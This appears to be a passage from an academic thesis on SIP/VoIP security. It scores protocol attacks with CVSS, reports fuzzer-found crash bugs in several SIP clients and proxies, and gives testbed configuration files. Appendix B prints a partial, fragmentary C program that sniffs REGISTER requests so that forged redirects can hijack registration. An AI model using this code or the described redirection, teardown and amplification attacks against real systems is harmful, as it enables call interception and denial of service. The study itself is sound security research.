winnable.  Medium levels fall somewhere in between these two conditions.  Protocol 
vulnerabilities are accessed on a case-by-case basis on all three levels. 
C. TEMPORAL METRICS 
Temporal metrics focus on the following three properties:  exploitability, status of 
a fix for the vulnerability, and lastly whether an exploit has been confirmed.  The idea 
behind temporal metrics is that the impact of a vulnerability changes over time as bug 
fixes become available, more sophisticated code is written, or confirmed reports of the 
existence of a bug become available.  Temporal metrics will either maintain or lower the 
base score, but it will never increase it. 
1. Exploitability 
Exploitability includes factors such as the existence of code that is forms an 
exploit, with an increasing score based on reliability of that code.  The highest score for 
exploitability is an exploit that works in all situations or is being delivered by a mobile 
autonomous agent (such as a virus or worm), and the lowest score is one that is 
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theoretical in nature.  Protocol vulnerabilities will typically fall into either the unproven 
or proof of concept categories because of the speculative nature of these attacks. 
2. Remediation Level 
Remediation level is based on the current existence of a fix for the vulnerability.  
Scores are on an increasing level in the following categories: Official fix, temporary fix 
from the official vendor, unofficial workaround or fix, and unavailable fix.  This method 
is dropped from calculation of protocol vulnerabilities as there is no single fix location 
and the implementation of vulnerabilities will change from software to software. 
3. Report Confidence 
The last of the temporal metrics is reporting confidence, and is centered around 
the reliability of the existence of a vulnerability.  The highest level is reserved for 
vulnerabilities confirmed either via the vender or official author, or the existence of 
exploiting code. 
D. ENVIRONMENT METRICS 
Environment metrics are the most user-dependent and subjective of the reporting 
metrics.  They include categories of collateral damage potential, how widespread the 
affected software is in the environment, and the requirements relating to confidentiality, 
integrity, and authority.  Because these requirements would be different between casual use 
and mission critical requirements, they are not calculated into any metrics. 
E. READING VECTORS 
Once a metric is derived, it is distributed along with a vector that lists all the fields 
and how the score was derived.  As an example, the vector given for the registration 
redirect flaw is as follows: AV:A/AC:M/Au:N/C:P/I:P/A:P/E:U/RL:ND/RC:UC.  It has an 
access vector of adjacent network, medium access complexity, requires no authentication, 
partial impact for confidentiality, integrity, and availability, is of unproved exploitability, a 
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Not defined level of remediation, and an unconfirmed report confidence.  A list of all 
categories and their possible values is given in Table 5. 
Table 5.   Category abbreviations and values per category 
Vector Category Possible Category Values 
Access Vector (AV) Local (L) 
Adjacent Network (A) 
Network (N) 
Access Complexity (AC) Low (L) 
Medium (M) 
High (H) 
Authentication (Au) Multiple (M) 
Single (S) 
None (N) 
Confidentiality Impact (C) 
Integrity Impact (I) 








Not Defined (ND) 
Remediation Level (RL) Official Fix (OF) 
Temporary Fix (TF) 
Workaround (W) 
Unavailable (U) 
Not Defined (ND) 
Report Confidence (RC) Unconfirmed (UC) 
Uncorroborated (UR) 
Confirmed (C) 
Not Defined (ND) 
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F. CONCLUSION 
The final metric is calculated by entering the above information into the formula 
contained in CVSS v2.6  Each category mentioned has an associated weight and will 
produce a numeric score between 0 and 1.  When posting vulnerabilities, it is important 
to include the vector along with the numeric score, so that other people can see how the 
score was calculated.  CVSS v2 is not only relatively easy to adapt to protocols but, as we 
will see in the next chapter, easy to adapt to known protocol attacks. 
                                                 
6 CVSS Calculator used for this thesis is the Cisco CVSS v2 calculator [20]. 
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V. KNOWN PROTOCOL ATTACKS 
A. OVERVIEW 
Several attacks for SIP were known at the time this thesis was written.  Currently, 
all known attacks on SIP are preventable by compliance with the most recent RFC 
governing SIP [4] by using TLS appropriately at each communication step.  Despite the 
protection of TLS, evaluation of these protocol vulnerabilities is essential, as 
experimental testing has shown that all software tested for this report has not 
implemented TLS.  Section B describes a previously unknown vulnerability in SIP, while 
the rest of the chapter is dedicated to other previously known vulnerabilities. 
B. REGISTRATION REDIRECTION 
The SIP RFC provides the ability for registration requests to be redirected to 
alternate registrars [4, p. 63].  If a user does not validate who the redirect is coming from, 
then a malicious client who surreptitiously receives a registration request can forge a 301 
or 302 redirect response and redirect an unsuspecting user agent to a registration server of 
their choice. 
If a malicious user is able to redirect a registration request, then he or she is able 
to control the destination of corresponding invitees by either implicitly acting as a proxy 
server or by the use of the 305 Use Proxy command.  Once a registration server acts as 
proxy server, it can then control INVITE requests and position another computer to act as 
a “man-in-the-middle” for corresponding calls.   
A graphical depiction of this process can be found in Figure 13.  The initiating 
UA, Alice, sends out an INVITE request.  The registrar then sends the INVITE request to 
the confederate computer (Eve).  Eve then modifies the INVITE request so that the From 
and Contact address fields correspond to her computer’s network address.  She then sends 
out the request to Bob. If Bob answers, Eve will receive the response, and forward the 
response back to Alice after modifying the Contact field to Eve’s address, and converting 
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the From field back to Alice’s initial From field. Alice will then send an ACK message, 
and the registrar will forward to Eve who will then forward the message to Bob after 
again modifying the From and Contact fields. 
 
 
Figure 13.   Malicious server intercepting call conversation, with client Bob not using a 
proxy server 
The biggest practical challenge for implementing this attack is that it is not a 
requirement that user agents process redirect responses, and can choose to ignore them 
entirely.  None of the six user agents tested for this thesis process redirect responses.  
Other difficulties in this method of exploitation include an inherent race condition of 
responding to a registration request before the legitimate server.  Furthermore, the 
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malicious computer supplying redirect requests must be in a position to receive the initial 
registration request, and inject network traffic.  This method cannot work by simply 
spoofing responses for the registration server, as the actual registration server would 
properly forward INVITE requests to Bob, and Bob could easily notice that an attack is 
occurring.  While this method is currently not possible using current SIP 
implementations, it is possible that a more fully-featured version of SIP software could 
inadvertently make itself vulnerable to this type of attack if it does not use TLS to 
authenticate the server. 
Software to test this attack was written and can be found in Appendix B.  The 
software listens for registration requests on the standard SIP port (5060) and crafts a well-
formatted 301 response.  The software listens to the network in promiscuous mode so that 
it can receive all network traffic, and the software was written in C for speed of 
processing.  Despite this, it is still significantly slower (roughly 30 ms) than siproxd for 
registration, and more work is required to decrease the response time.  Not following the 
REGISTER request was examined by looking at packet captures of registration requests, 
and then looking at the subsequent register, as exemplified in Figure 14. 
 
Figure 14.   Lack of acknowledging response from redirected REGISTER request 
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The CVSS v2 system gives a base score of 5.4 and a temporal score of 4.1 using 
the following vector: AV:A/AC:M/Au:N/C:P/I:P/A:P/E:U/RL:ND/RC:UC.  Notably, it 
has an unconfirmed and unproved level of exploitation due to the lack of clients that 
implement redirection for register messages. 
C. SERVER IMPERSONATION 
While servers frequently require connecting clients to provide proof of identity to 
allow access to a server, most clients (including all those tested for this thesis) do not 
have the capabilities to authenticate servers.  The root problem lies in the reliance on the 
HTTP Digest Algorithm for authentication.  While the HTTP Digest Algorithm provides 
a mechanism for servers to validate the authenticity of clients, it does not provide the 
same protections to clients [4, p. 234]. 
Another disadvantage of the HTTP Digest Mechanism is that it is possible for a 
server to pre-generate password cracking tables for a given username, by using a 
predetermined nonce in its calculations.  This use of pre-computed password hashes can 
be avoided by using the “cnonce” mechanism in the HTTP Digest Algorithm, but this 
mechanism is optional, and none of the phones tested used this protection [21, p. 25].  By 
pre-computing password hashes, malicious servers can greatly reduce the amount of time 
necessary to brute force a user’s password.  The impact of not validating the server 
provides the same vector and impact as was given in the previous section, as the register 
redirect would in effect force a client to use an unintended registrar. 
The best mechanism to guard against server spoofing, described in Chapter II, 
Section C, uses TLS to authenticate servers.  Certificates provided by servers using TLS 
positively identify the server to the client.  Other means of ensuring a direct connection to 





D. CLIENT IMPERSONATION 
If an attacker is able to successfully crack a user’s password by brute forcing the 
HTTP Digest Authentication (or via other means), that client then gains all the rights and 
privileges of that user.  Common privileges include the ability to make and bill phone 
calls as that user or change the user’s password to deny service.  If that attacker also 
previously spoofed registration to that user, then an attacker could perform a man-in-the-
middle attack similar to that shown in Figure 13, with the difference that incoming calls 
can also be recorded and eavesdropped.  Stealing of client credentials is again best 
prevented by never responding to HTTP Digest Registrations from untrustworthy and 
unauthenticated servers.  As this type of attack relies on other vulnerabilities to gain a 
user’s credentials, it has no threat classification. 
E. DENIAL OF SERVICE AND TRAFFIC AMPLIFICATION 
Certain abilities of SIP lend itself toward message amplification7 and denial of 
service (DoS) conditions. Two mechanisms typically are used for message amplification, 
both of which rely on the ability of SIP to provide “conference call” type calls with 
multiple participants. 
A malicious user authenticated to a server can use that server as a traffic amplifier 
by issuing multiple INVITE requests to multiple participants at the same IP address.  For 
example, if Eve was successfully authenticated to atlanta.com and wished to deny service 
to the biloxi.com SIP server, she could send an INVITE request to include participants 
bob1@biloxi.com, bob2@biloxi.com and so on, causing the proxy server to issue a 
separate INVITE request for each user [4, pp. 236–237]. 
If an attacker can convince a SIP user to call them, that attacker can also use that 
SIP user (or proxy, if the user is going through a proxy) as a traffic amplifier.  By 
responding with 300 Multiple Choices and providing multiple addresses, the user will 
issue INVITE requests to all the new addresses.  One of those addresses could potentially 
                                                 
7 Message amplification attacks are attacks where other computers respond to incoming traffic with a 
greater amount of outgoing traffic, increasing the amount of bandwidth available to the attacker to conduct 
a DoS attack [4, p. 236]. 
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then redirect the calling computer back to the first address and continue the traffic 
amplification.  The attacker can also add their address, e.g., Eve@192.168.1.1 as an 
option in the list of multiple choices.  The originating caller will then send an amplified 
request to the victim, as well as another request to the attacker.  By responding with more 
addresses in the victim's domain, as well as another entry at the attacker’s address, e.g., 
Eve2@192.168.1.1, the attacker can continue the amplification for as long as the 
originating user continues to send out INVITE requests [3, pp. 236–237]. 
Traffic amplification and other DoS vulnerabilities have a potential base 
 score of 6.3 and a temporal score of 5.7 based on the following metric 
AV:N/AC:M/Au:S/C:N/I:N/A:C/E:POC/RL:ND/RC:C.  While changing all mechanisms 
of traffic amplification would require a rewrite of SIP, it can be mitigated by having SIP 
servers intelligently analyze incoming traffic, and limit outgoing traffic based on a single 
incoming packet. 
F. FORGED SESSION TEARDOWN 
Due to the lack of authenticity of unencrypted SIP communications, it is possible 
for an attacker who receives an initial or subsequent INVITE message to forge a BYE 
message and prematurely terminate a conversation that they are not a part of.  Once an 
attacker receives an INVITE message, they may forge the From, CSeq, and Call-ID fields 
in a BYE message and end the conversation.  This method of attack can be prevented by 
using TLS and encrypting all messages [4, pp. 235–236].  A forged session teardown is 
given a CVSS v2 base score of 4.9 and a temporal score of 4.4, based on the following 
vector AV:L/AC:L/Au:N/C:N/I:N/A:C/E:POC/RL:ND/RC:C. 
G. CONCLUSION 
The SIP protocol has several weaknesses that can be used by an attacker with 
certain access to gain information, masquerade as trusted clients, or deny access to 
authorized users.  A list of protocols with CVSS v2 adapted scores is given in Table 6.  
All of the scores would fall into the Medium (4–7) category for the National 
Vulnerability Database, and indicate a significant security vulnerability when clients do 
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not use TLS for authentication.  Given that none of the clients tested uses TLS, there is a 
significant risk for exploitation via protocol vulnerabilities. Interestingly, however, no 
publicly available tools or software have been created for the explicit purpose of 
attacking a protocol vulnerability within SIP.  The likely reason for the lack of such a 
program is that all protocol attacks require that the attacker have some type of control of 
the intervening network in between two targets. 





Register Redirect 5.4 4.1 




Traffic Amplification 6.3 5.7 
 
One of the unique aspects of SIP is the lack of a reference implementation, 
especially in regard to the message parser.  There has been a lack of attack software for 
SIP, with most of it from academia, which has focused on making tools for 
implementation vulnerabilities, such as fuzzers and targeted software vulnerabilities. 
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VI. KNOWN IMPLEMENTATION ATTACKS 
A. OVERVIEW 
SIP software, like any other software, is vulnerable to implementation attacks 
wherein, through a software flaw, the attacker makes the program operate in an 
unintended manner, typically by denying service or remotely executing arbitrary code.  
SIP is a tempting target for virus writers for two primary reasons: computers running SIP 
software almost always listen for incoming connections, and the complexity of the 
protocol makes it difficult to implement robust message processing leading to possible 
implementation attacks. 
Virus writers generally exploit software by looking for flaws in the code that 
allow for the execution of arbitrary code.  Due to poor coding practices, this type of 
vulnerability can be found in any type of software, although it is much more prevalent in 
software written in code with manual memory management, such as C or C++.  Other 
types of vulnerabilities include those that reveal unintended information, such as SQL 
injection attacks, wherein an attacker causes unintended commands to run on a victim 
computer.  All implementation attacks involve an attacker sending information to a 
victim computer and causing it to behave in a manner not in according to the SIP RFC.  It 
is usually obvious to a trained observer looking at all packet intercepts when an attack 
occurs.  
B. SIVUS 
SiVus is described as “the first publicly available vulnerability scanner for VoIP 
networks that use the SIP protocol.”  SiVus can conveniently generate arbitrary SIP 
messages, scan networks for SIP hosts, or intercept and crack credentials contained 
within SIP messages [22]. 
SiVus works by listening on an active network connection, receiving and 
sending SIP messages.  As it is designed as a proof-of-concept tool, it lacks many 
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features that are required for practical discovery of vulnerabilities.  SiVus does come 
pre-packaged with a data set of 1740 test cases. 
SiVus was tested on the testbed by running a fourth VM hosting Windows XP 
with a bridged network connection. 
1. Message Generation 
SiVus has a relatively simple message generation process for SIP.   As text boxes 
in a form field, you can create custom values in several fields, namely the target, Via, To, 
From, Authentication, Call-ID, Cseq, Contact, Record-Route, Subject, Content-type, User 
Agent, Refer-To, and content length.  A comprehensive list of editable SIP fields for 
arbitrary message generation can be seen in Figure 15. The primary limitation of the 
SiVus message generation is its inability to program responses to messages quickly, as 
the message generation is done entirely by hand [22]. 
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Figure 15.   SiVus message generation screen 
2. Network Scanning and Cracking 
SiVus includes a database of attacks, some of which target inherent weaknesses in 
the SIP protocol itself. Others target implementations of the standard.  Many of the SiVus 
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database attacks are fuzzing attacks, the focus of which is to deny service, or to discover 
avenues for exploitation.  SiVus categorizes vulnerabilities as high, medium, or low, as 
seen in Figure 16 [22].  A results comparison between the different test software is listed 
in Table 7.  Experimental testing resulted in two crashes in Linphone 3.1.2 on test case 
10700.7.  The fuzzer does have its limitations, however; it cannot generate single test 
cases, or test in a range to help isolate specific causes of crashes.  Additionally, the 
high/medium/low values of the scanner are of limited usefulness.  Medium indicates that 
no response was received for a message, while low and passed indicate that an error 
message was generated or was otherwise properly handled.  The only way to generate a 
high error with SiVus is by configuring the tested implementation to not allowing TLS, 
and to automatically allowing registration without authentication. 
Table 7.   SiVus test results on tested SIP software 
Name High Medium Low Passed 
Ekiga 2.0.12 3 3 555 1278 
Kphone 4.2 1 3695 3512 145 
Linphone 3.1.2 3 97 592 1147 
Qutecom 2.2 Tests Invalid - Some tests marked as Medium 
if call rejected, or Informational if answered.  
All other tests marked as Medium.  Qutecom 
responds with “486 Busy Here” 
Siproxd 0.5.11-7 3 0 1337 500 
X-Lite 3.0 behind siproxd 3 0 349 1487 
Ekiga behind siproxd 2 0 1337 500 
Kphone behind siproxd 2 280 428 1129 
 
One of SiVus’s most useful advertised features is the ability to intercept and crack 
SIP message digests.  SiVus’s cracking feature works by intercepting a REGISTER 
challenge and response from a client, and brute forcing the password.  However, similar 
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applications such as Cain and Abel that are more specialized for password cracking 
should be able to perform better than Java-based SiVus. 
 
Figure 16.   Sivus database attack summary using Ekiga 2.0.12 
C. PROTOS SUITE 
PROTOS belongs to a class of tools known as fuzzers, tailored for SIP, and 
designed to expose weaknesses in SIP parsers.  A fuzzer is a tool that attempts to create  
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software faults by generating a large variety of unusual input, such as input of excessive 
length or of unusual combinations of characters, and then measuring the target 
application for unusual conditions.   
The PROTOS suite contains 4527 test cases designed to detect errors in SIP 
software by deliberately not conforming to the SIP protocol.  The types of errors that 
PROTOS is capable of detecting are strictly in the parsing engine, which detects 
malformed input.  PROTOS detects test failures in the following circumstances:  The 
software undergoes a fatal failure and stops functioning, crashes or hangs and needs to be 
restarted, crashes and restarts automatically, or uses up an extremely large amount of 
CPU usage or memory for an extended period of time [6].  PROTOS has been effective 
in discovering a vulnerability, which possibly allows for remote control of a computer in 
popular SIP software Sip Express Router [23].   A list of test cases that cause clients to 
crash is given in Table 8. 
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Table 8.   Results of PROTOS software suite testing 
Subject Software Test case of Crashes 
Ekiga 2.0.12 Unknown, Ekiga does not accept 
calls with a frequency greater than one call 
every 20 seconds 
Kphone 4.2 None, however high frequency of 
calls can spawn so many processes and 
slow down the computer so much it may 
require restart of computer 
Linphone 3.1.2 195, 2361, 2420-2426 
Qutecom 2.2 1244-1254, 1260-1266, 1272-1281, 
1288-1296, 1324-1335, 2412-2416, 4285.  
Can also cause denial of service by using 
the -teardown command, QuteCom does 
not gracefully handle many calls which are 
subsequently hung up. 
Siproxd standalone None 
X-Lite 3.0 None 
Siproxd with registered client 2361, 2420-2426 
 
Because the PROTOS Suite contains only a pre-defined set of test cases, once it 
detects no vulnerabilities, i.e., it handles all malformed test cases correctly, the PROTOS 
Suite loses all effectiveness on that software.  Despite this limitation, PROTOS was able 
to crash (specifically: segmentation fault) three of the six test applications and 
demonstrate a denial of service attack on a fourth by demonstrating poor handling of 
incoming calls.  This is both helpful in the sense that an attacker will gain no use out of 
the tool on that software, and closes previously undiscovered implementation 
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vulnerabilities.  A more in-depth analysis of the result of crashes is contained in the next 
section.  Despite the usefulness of this tool, however, the possibility still exists for other 
implementation attacks on the text parser. 
D. OTHER IMPLEMENTATION VULNERABILITIES 
Fuzzers have been very effective in locating vulnerabilities of software tested in 
the course of this thesis, specifically in siproxd, Qutecom, linphone, and kphone.  The 
vulnerability in siproxd results in a combination of a malfunctioning library, and in 
siproxd by not verifying the return value given by a library. 
This type of attack is both extremely pervasive and difficult to estimate its 
damage.  It is pervasive because any SIP implementation is theoretically vulnerable to 
implementation attacks, especially given the complexity of the SIP parser.  The damage 
is hard to predict because even though some vulnerabilities are limited to a denial of 
service, other vulnerabilities are capable of providing an outside attacker access to the 
computer running the software. 
Many of the features that SIP phones provide also allow for unusual new attack 
vectors.  Traditionally, while remote control of a machine has been the greatest level of 
damage possible from vulnerabilities, SIP clients have additional hardware/software to 
transmit voice and/or video.  With the libraries for audio/video capture and compression 
already loaded into the SIP software, sophisticated malicious software could turn on the 
microphone or camera and surreptitiously spy on the user of a compromised computer.   
Another feature designed in the SIP specification is the Alert-Info field, which 
contains a URL for the client to use a different ringing noise, picture, or any type of 
resource accepted by the UA.  In addition to disruptive noises, if an implementation 
vulnerability exists in the softwarethat handles that resource, then an attacker would have 




E. CLIENT SPECIFIC VULNERABILITIES 
Using PROTOS and SiVus, the following denial of service attacks have been 
discovered in the course of this thesis in applications Qutecom, linphone, and siproxd.  
One thing that all these systems share in common is the use of the osip2 library, used for 
parsing SIP messages.  Additionally, linphone and Qutecom both use eXosip library; 
however, linphone uses eXosip2, while Qutecom uses eXosip1.  The following sections 
specifically describe the vulnerabilities.  Listings and patches for all of the bugs can be 
found in Appendix C, except for the eXosip2 bug, which has no patch.  All vulnerabilities 
discovered in these programs have identical CVSS base scores of 7.8 with a temporal 
score of 7.0, with the exception of the eXosip2 bug, which has a temporal score of 7.8 as 
a temporary fix is not available.  The previous scores were generated using Vector: 
AV:N/AC:L/Au:N/C:N/I:N/A:C/E:H/RL:TF/RC:C.  
1. osip2 
Incorrect handling of the data structure osip_uri_t in the file osip_uri.c.  If a URI 
is given that is not a SIP or SIPS URI, the method still reports success, but does not fill 
the rest of its data structures.  Improper use of the osip_uri_t structure leads to crashes in 
linphone and PROTOS test case 195.  Because the data structure osip_uri_t is initialized 
to zero before use it is not possible to exploit this vulnerability beyond DoS. 
2. eXosip2 
eXosip2 does not properly check return values in eXosip_event_fill_messages of 
file osip_message_clone.  Additionally, it has no way to propagate error messages further 
up the call chain. The fix requires rewriting several function calls to be able to propagate 
error messages for proper handling.  This bug leads to crashes in linphone with PROTOS 
test cases 2361 and 2420-2426.  eXosip2 does initialize the value that is returned before 
use; however, again preventing exploitation beyond DoS.  No patch was developed for 
this due to the extensive structural changes that a proper fix requires.  As an interim 
solution, programs using the eXosip2 library should verify that any event requests they 
receive from the eXosip library are sane. 
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3. linphone 
In file exevents.c, function linphone_other_request, linphone does not check the 
return value of eXosip_options_build_answer before passing the result off to another 
function.  The result of this is a null pointer dereference in a later function, but is not 
exploitable beyond DoS.   This error was generated with SiVus’s scanner in the test range 
10700–10700.10.  Because SiVus does not have the ability to generate single test cases 
for testing, and because the error did not occur every time, it was not feasible to discover 
the exact message that led to this error condition. 
4. siproxd 
siproxd does not check return values in file sip_layer.c, function sip_body_to_str.  
The function sip_body_to_str is a wrapper for the library function osip_body_to_str, 
which adds a null terminator to the value passed into osip_body_to_str.  However, it does 
not check the return value of the library function before dereferencing it to add a null 
terminator.  If the library function fails, the value null terminated is initialized to zero, 
and subsequently dereferences, crashing siproxd.  Because the value being dereferenced 
is always null, it is not possible to exploit this beyond a DoS.  This error is generated with 
PROTOS cases 2361 and 2420-2426. 
5. Qutecom 
Identified with PROTOS test case 4295, this bug is the result of Qutecom using 
an extremely dated version of the library eXosip last updated in 2002.  Because of the age 
of the library, this bug was not investigated completely; however, like the others, it 
appears to be an attempt to dereference a null pointer.  For a proper fix, Qutecom should 






While the protocol vulnerabilities had base scores ranging from 4.9 to 6.3, all of 
the implementation vulnerabilities scored 7.8.  Even though this may seem like 
manipulating a metric, the implementation vulnerabilities are such that they can trivially 
deny legitimate users use of SIP.  One of the major challenges of SIP is the difficulty of 
creating a rigorous parser, as demonstrated by the fact that 3 of the 6 software 
applications tested were vulnerable to malformed messages.  Examining the National 
Vulnerability Database, a review of records shows that a majority of the vulnerabilities 
discovered on SIP systems involve malformed headers, which result in a denial of 
service.  The score of 7.8 is common among the database for SIP applications, with most 
applications having the same type of vulnerability, involving a low complexity attack 
from anywhere on the network, which results in a denial of service. 
Due to the complexity of the SIP specification, an ongoing widespread search of 
implementation vulnerabilities in all types of applications, and the potential value of 
implementation vulnerabilities, it is likely that implementation attacks will continue to be 
the most common attack vector for SIP attacks.  One of the primary advantages of 
implementation attacks is that an attacker needs no ability to eavesdrop or inject in the 
traffic of others.  Additional work to research vulnerability to protocol vulnerabilities has 
been done by Mu Dynamics [24].  Mu Dynamics has developed an external server that 
performs comprehensive testing including proxy serve emulation; however, as it is a 
commercial product, it was not used for this report. 
The vast majority of work to date researching and developing tools for SIP has 
been to detect and exploit vulnerabilities that arise due to the incomplete or incorrect 
implementation of the SIP protocol.  With tools ranging from fuzzers to traffic 
generators, the primary focus has been to find ways to attack clients remotely. 
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VII. CONCLUSION 
This thesis has examined protocol vulnerabilities in SIP and, using the CVSS 
metric, has shown that they have less of an impact than many of the implementation 
vulnerabilities.  While an actively pursued protocol, SIP software still has a long way to 
go before it should be used in situations requiring a moderate degree of confidence in 
secrecy.  Because of the complexity of the protocol and the lack of a reference 
implementation, many user agents still suffer from bugs in the parsing software.  Its lack 
of a requirement for encryption means that many UAs have no TLS implementation. This 
leaves them open to all the vulnerabilities listed in Chapter V. 
Furthermore, the requirement for an end-client to listen on a port for incoming 
calls, that could originate anywhere on the Internet, puts most SIP software in a 
vulnerable position.  Because of this availability to the outside world, as well as 
additional vulnerabilities described in Chapter VI, SIP software is an attractive target for 
attackers. 
A. CONTRIBUTIONS 
Although much of this thesis was spent developing a proper methodology for 
testing an entire SIP network, several contributions were made. 
1. This work provided an effective methodology for testing an entire SIP 
network, as well as software configuration files to rapidly create such a 
network for future works. 
2. CVSS v2 was used to score protocol vulnerabilities, providing relative 
rankings for the severity for each protocol vulnerability, and those scores 
were compared to CVSS v2 vulnerabilities discovered and scored in the 
course of this thesis. 
3. This work has resulted in discovering several new implementation 
vulnerabilities in common software, and has isolated and provided patches 
for those weaknesses. 
 58
4. This work provides a condensed area for work done to date in the realm of 
security for SIP software, and provides analysis to the overall security of 
SIP. 
5. Improving registration redirection software to include a client application 
and header modification to implement the man-in-the-middle attack, as 
well is more robust parsing. 
B. FUTURE WORK 
Despite the development of an effective methodology, several hurdles in the 
development of exploitation software remain to be overcome.  The following are 
suggestions for future work based on security within SIP. 
1. A comprehensive analysis of specific SIP software for implementation 
vulnerabilities.  The goal of this would be to harden and develop SIP 
software that could be used in government or military applications. 
2. Development of software designed to exploit protocol vulnerabilities 
already discovered in SIP, and make it usable in the field. 
3. A trend analysis of SIP attacks as software has become more prolific. 
C. CONCLUSION 
SIP remains a useful protocol in the civilian world in situations where privacy is 
nice to have but not essential.  The complexity of the protocol means that it is difficult to 
design software for SIP.  This difficulty leads to software that is poorly designed and 
contains implementation vulnerabilities, and the number of practical exploits has shown 
this to be the case.  
As the technology matures and becomes more secure, and implementation of 
encryption and authentication on servers and end clients becomes more widespread, SIP 
will become a more secure and reliable medium. SIP is currently not tested or mature 
enough, however, to be used in any capacity requiring security. 
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APPENDIX A:  CONFIGURATION FILES 
A. siproxd.conf 
 
if_inbound  = tun0 
if_outbound = eth00 
hosts_allow_reg = 10.8.0.0/24 
hosts_allow_sip = 0.0.0.0/0 
#hosts_deny_sip  = 10.0.0.0/8,11.0.0.0/8 
sip_listen_port = 5060 
daemonize = 1 
silence_log = 0 
log_calls = 1 
user = nobody 
#chrootjail = /var/lib/siproxd/ 
registration_file = /var/lib/siproxd/siproxd_registrations 
autosave_registrations = 300 
rtp_proxy_enable = 1 
rtp_port_low  = 7070 
rtp_port_high = 7079 
rtp_timeout = 300 
rtp_dscp = 46 
default_expires = 600 
debug_level =      0x00000ffe 
debug_port = 0 
 
B.  VM1 openvpn.conf 
dev tun 
ifconfig 10.8.0.1 10.8.0.2 
secret /home/sip1/static.key 













C.  VM2 openvpn.conf 
remote sip1.example.org 
dev tun 
ifconfig 10.8.0.2 10.8.0.1 
secret /home/sip2/static.key 





D.  Kphone Configuration: 
 
Full Name: sip3 
User Part of SIP URL: sip3 
Host Part of SIP URL: sip2.example.org 
Outbound Proxy (optional): sip1.example.org 
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APPENDIX B:  ATTACK-REDIRECT CODE LISTING 
/* 
 * attack-redirect.c 
 * This program reads in a specific kind of SIP message 
 * such as a REGISTER request, and responds with a 
 * designated message 
 * 
 * Created by Lucas Dobson on 1/2/10. 





















#define DEBUG 1 
#define SERVER_PORT 5082 
#define NUMSUBEX 20 




 char dst_mac[1]; 
 char src_mac[1]; 





 unsigned int hl:4; 
 unsigned int ver:4; 
 u_int8_t tos; 
 u_int16_t totlen; 
 u_int16_t ipid; 
 u_int16_t frag; 
 u_int8_t ttl; 
 u_int8_t proto; 
 u_int16_t cksum; 
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 u_int32_t src_addr; 





 unsigned short src_port; 
 unsigned short dst_port; 
 unsigned short len; 





 u_int16_t src; 
 u_int16_t dst; 
 u_int32_t seq;  
 u_int32_t ack_seq;  
 u_int16_t res1:4;  
 u_int16_t doff:4;  
 u_int16_t fin:1;  
 u_int16_t syn:1;  
 u_int16_t rst:1;  
 u_int16_t psh:1;  
 u_int16_t ack:1;  
 u_int16_t urg:1;  
 u_int16_t res2:2;  
 u_int16_t window;  
 u_int16_t cksum;  























 char *str; 




//courtesy of rfc1071 
unsigned short checksum(unsigned char *addr, int count) 
{ 
 int i; 
 unsigned long sum = 0; 
 
 while( count > 1 )  { 
 /*  This is the inner loop */ 
  sum += * (unsigned short *) addr; 
  addr += 2; 
  count -= 2; 
 } 
 
 /*  Add left-over byte, if any */ 
 if( count > 0 ) 
  sum += * (unsigned char *) addr; 
 
 /*  Fold 32-bit sum to 16 bits */ 
 while (sum>>16) 
  sum = (sum & 0xffff) + (sum >> 16); 
 
 return ~sum; 
} 
 
//calculates the tcp checksum, i.e. pseudo-header + data 
unsigned short tcpchecksum(struct ip_hdr *ip, struct tcp_hdr *tcp, 
char* data) 
{ 
 short i, j; 
 char c; 
 short s; 
 //size of tcphdr+data 
 i = htons(ip->totlen) - (ip->hl)<<2; 
 //sizeof tcphdr 
 j = (tcp->doff) << 2; 
 unsigned char buf[19+i]; 
 memcpy(buf, &(ip->src_addr), 4); 
 memcpy(buf+4, &(ip->dst_addr), 4); 
 c = 0; 
 memcpy(buf+8, &c, 1); 
 c = 6; 
 memcpy(buf+9, &c, 1); 
 s = htons(i); 
 memcpy(buf+10, &s, 2); 
 memcpy(buf+12, tcp, j); 
 memcpy(buf+12+j, data, i-j); 
  
 return checksum(buf, i+12); 
} 
 
//calculates the tcp checksum, i.e. pseudo-header + data 




 //size of tcphdr+data 
 unsigned char buf[udp->len-8+12]; 
 memcpy(buf, &(ip->src_addr), 4); 
 memcpy(buf+4, &(ip->dst_addr), 4); 
 *(buf+8) = 0; 
 *(buf+9) = 17; 
 *(buf+10) = htons(udp->len); 
 memcpy(buf+12, data, udp->len-8); 
  
 return checksum(buf, udp->len+12); 
} 
 
//Callback to check for SIP register packets, and hijack registration 
 
// Automatically conducts registration of incoming registration 
requests 
// Sends registration cancel msg to intended recipient.  Idea behind 
design 
// is for fast communication response to beat the actual server 
registration 
// and then conduct registration. 
void sip_cb(u_char *args, const struct pcap_pkthdr *hdr, const u_char 
*pkt) 
{ 
 char* reguri, sipver; 
 char* tfrom; 
 char* fromuri, tag; 
 char* tto; 
 char* turi; 
 char* cid; 
 char* cseqid, cseqfield; 
 char* tcontact; 
 char* clen; 
 int i, j, t; 
 int regerr; 
 char regerrbuf[120]; 
 struct ip_hdr *ip; 
 //skip to the SIP data from the packet capture. 
 //skip over ethernet header 
 ip = (struct ip_hdr*) ((char *)pkt+14); 
 struct tcp_hdr *tcp; 
 struct udp_hdr *udp; 
 u_char *data; 
 unsigned int datalen; 
 char *temp, *temp2; 
 int isUdp; 
 int sucRegex[NUMREGEX]; 
 union 
 { 
  int ipint; 
  char dots[11]; 
 } foo; 
 
 //determine whether tcp or udp, jump to tcp/udp header 
 if (ip->proto == 6) { 
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  tcp = (struct tcp_hdr*) ((char *) ip+((ip->hl)<<2)); 
  //now jump to start of packet data 
  data = (u_char*) tcp+((tcp->doff)<<2); 
  isUdp = 0; 
 } 
 else { 
  udp = (struct udp_hdr*) ((char *)ip+((ip->hl)<<2)); 
  data = (u_char*) udp+8; 
  isUdp = 1; 
 } 
  
 datalen = (unsigned int) (hdr->caplen) + data - pkt; 
 //copy data to null-terminated string 
 temp = (char*) malloc (datalen+1); 
 memcpy(temp, data, datalen); 
 temp[datalen] = 0; 
 printf("SIP Packet data\n%s\n", temp); 
 
 //search for registration packets, and pull registrar information 
 //source address, destination address from SIP packet 
 
 //check for regster requests 
  
 if (regerr = regexec(&preg[0], temp, 0, 0, REG_NOTBOL) == 
REG_NOMATCH) { 
  //Not a register request, return. 
  if (DEBUG) { 
   printf("Not Register Req\n"); 
  } 
  return; 
 } 
 
 temp2 = (char *) malloc (65355*sizeof(char)); 
 
 //else it is a register request, parse out 
 for (i = 0; i < NUMREGEX; i++) 
 { 
  if (regerr = regexec(&preg[i], temp, preg[i].re_nsub+1, 
matchArray[i], REG_NOTBOL)) 
  { 
